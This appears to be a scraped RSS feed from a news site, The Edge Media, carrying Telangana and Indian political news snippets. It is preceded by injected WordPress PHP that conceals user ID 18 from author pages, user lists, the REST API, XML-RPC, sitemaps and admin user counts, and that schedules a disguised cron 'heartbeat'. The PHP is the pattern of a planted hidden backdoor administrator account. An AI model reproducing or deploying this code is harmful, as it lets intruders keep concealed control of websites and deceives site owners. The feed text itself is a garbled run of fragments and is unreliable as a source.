add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Modi Asked Non-BJP Ruled States To Reduce Fuel VAT appeared first on The Edge Media.
]]>The Prime Minister stated that a proposal to cut VAT was made in November, but states like Maharashtra, West Bengal, Telangana, Andhra Pradesh, Tamil Nadu, Kerala, and Jharkhand “for some reason” did not comply.
The post Modi Asked Non-BJP Ruled States To Reduce Fuel VAT appeared first on The Edge Media.
]]>The post Telangana Chief Minister KCR warns BJP leaders in the state that he will clip their tongues if they speak loosely appeared first on The Edge Media.
]]>
“I directly visited the Union minister concerned and asked him to take the procured parboiled rice. He said he will make a decision and communicate to me, but till now I have received no response. Telangana state already has around 5 lakh tons of paddy from last year. The Centre is not buying it,” news agency ANI quoted him as saying.
The post Telangana Chief Minister KCR warns BJP leaders in the state that he will clip their tongues if they speak loosely appeared first on The Edge Media.
]]>The post Telangana locals create a ruckus and demand cash in exchange for their votes appeared first on The Edge Media.
]]>
After sitting MLA and former health minister Eatala Rajender resigned from the seat and TRS over his differences with chief minister K Chandrasekhar Rao, a by-election was called in Huzurabad.
The post Telangana locals create a ruckus and demand cash in exchange for their votes appeared first on The Edge Media.
]]>The post Lockdown ends in Telangana appeared first on The Edge Media.
]]>“The state cabinet has decided to lift the lockdown completely. The decision has been taken to lift the lockdown by examining the reports given by medical authorities that the number of corona cases, positivity percentage has decreased significantly, corona have come into full control,” the Chief Minister’s Office posted on Facebook.
Telangana, one of the worst-hit states in the country, on Friday reported a case positivity of just 1.14 per cent. The number of daily cases was just over 1,400 in 24 hours, whereas the number of Covid-linked deaths was 12.
The reversing of the more virulent Covid wave has been attributed to the strict lockdown the state government had imposed.
The post Lockdown ends in Telangana appeared first on The Edge Media.
]]>The post Debt at Rs. 40000 Crores, Telangana Buys New Costly Cars For Officers appeared first on The Edge Media.
]]>After Chief Minister K Chandrasekhar Rao viewed the vehicles, Telangana Transport Minister Puvvada Ajay Kumar waved them off on Sunday at Pragati Bhavan, the Chief Minister’s house in Hyderabad, in the sight of state Chief Secretary Somesh Kumar and other dignitaries.
The BJP has termed Chief Minister Rao’s decision to “satisfy bureaucrats” in the state a “criminal extravagance.”
The post Debt at Rs. 40000 Crores, Telangana Buys New Costly Cars For Officers appeared first on The Edge Media.
]]>The post Telangana lockdown extended appeared first on The Edge Media.
]]>During April end and early May Telangana was under a Night Curfew. When asked about a lockdown it was told that it is unnecessary. Then within a day or two lockdown was announced. The lockdown comes in with a total relaxation for 4 hours a day from 6AM to 10AM. At those hours, every one has the permission for intra-state movement and at the remaining times a pass is required unless it is an emergency service.
A cabinet meeting was also scheduled for 20th May which now stands cancelled since the ministers are busy dealing the corona situation in the state.
The Chief Secretary has been instructed to release the G.O extending the lockdown till 30th May.
The post Telangana lockdown extended appeared first on The Edge Media.
]]>The post Telangana Fire: Smoke Disrupting Rescue, 9 People Are Suspected To Be Trapped appeared first on The Edge Media.
]]>Nagarkurnool district Collector L Sharman said three fire engines were engaged in extinguishing the huge smoke emanating from the plant’s premises.
While Chief Minister K Chandrasekhar Rao was monitoring the rescue work through his cabinet colleague, Union Minister of State for Home, Kishan Reddy, said he has asked NDRF to join the rescue efforts.
“There is huge smoke and because of it we are not able to enter into the plant premises. By 11 am we expect to enter the plant,” Sharman told PTI, adding, nine persons including seven staff members are stuck. Those stuck include a Deputy Engineer and an Assistant Engineer.
“Our main target is to rescue them…we are not able to contact them because they are not carrying mobile phones and there is no mobile network,” he said. Quoting preliminary information, he said a short- circuit is suspected to have caused the fire.
The post Telangana Fire: Smoke Disrupting Rescue, 9 People Are Suspected To Be Trapped appeared first on The Edge Media.
]]>